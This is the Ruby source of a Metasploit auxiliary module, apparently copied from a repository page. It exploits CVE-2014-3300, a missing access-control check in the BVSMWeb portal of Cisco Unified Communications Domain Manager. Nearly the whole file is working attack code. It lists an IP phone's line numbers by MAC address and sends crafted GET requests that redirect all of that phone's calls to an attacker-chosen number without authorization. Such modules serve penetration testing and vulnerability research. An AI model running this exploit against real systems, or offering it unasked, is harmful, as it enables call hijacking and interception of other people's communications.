146 lines
4.2 KiB
Ruby
146 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rexml/document'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
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'Description' => %q{
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The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
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(CDM) 10 does not properly implement access control, which allows remote attackers to
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modify user information. This module exploits the vulnerability to configure unauthorized
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call forwarding.
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},
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'Author' => 'fozavci',
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'References' =>
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[
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['CVE', '2014-3300'],
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['BID', '68331']
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],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
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[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
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],
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'DefaultAction' => 'Info'
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
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OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
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OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
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OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
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])
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end
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def run
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case action.name.upcase
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when 'INFO'
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get_info
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when 'FORWARD'
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forward_calls
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end
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end
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def get_info
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uri = normalize_uri(target_uri.to_s)
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mac = datastore["MAC"]
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print_status("Getting fintnumbers and display names of the IP phone")
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res = send_request_cgi(
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{
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'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
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'method' => 'GET',
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'vars_get' => {
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'device' => "SEP#{mac}"
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}
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})
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unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
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print_error("Target appears not vulnerable!")
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print_status("#{res}")
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return []
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end
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doc = REXML::Document.new(res.body)
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lines = []
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fint_numbers = []
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list = doc.root.get_elements('MenuItem')
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list.each do |lst|
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xlist = lst.get_elements('Name')
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xlist.each {|l| lines << "#{l[0]}"}
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xlist = lst.get_elements('URL')
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xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
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end
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lines.size.times do |i|
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print_status("Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
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end
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fint_numbers
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end
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def forward_calls
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# for a specific FINTNUMBER redirection
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uri = normalize_uri(target_uri.to_s)
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forward_to = datastore["FORWARDTO"]
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mac = datastore["MAC"]
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if datastore['FINTNUMBER']
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fint_numbers = [datastore['FINTNUMBER']]
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else
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fint_numbers = get_info
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end
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if fint_numbers.empty?
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print_error("FINTNUMBER required to forward calls")
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return
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end
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fint_numbers.each do |fintnumber|
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print_status("Sending call forward request for #{fintnumber}")
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send_request_cgi(
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{
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'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
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'method' => 'GET',
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'vars_get' => {
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'cfoption' => 'CallForwardAll',
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'device' => "SEP#{mac}",
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'ProviderName' => 'NULL',
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'fintnumber' => "#{fintnumber}",
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'telno1' => "#{forward_to}"
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}
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})
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res = send_request_cgi(
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{
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'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
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'method' => 'GET',
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'vars_get' => {
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'device' => "SEP#{mac}",
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'fintnumber' => "#{fintnumber}"
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}
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})
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if res && res.body && res.body && res.body.to_s =~ /CFA/
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print_good("Call forwarded successfully for #{fintnumber}")
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else
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print_error("Call forward failed.")
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end
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end
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end
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end
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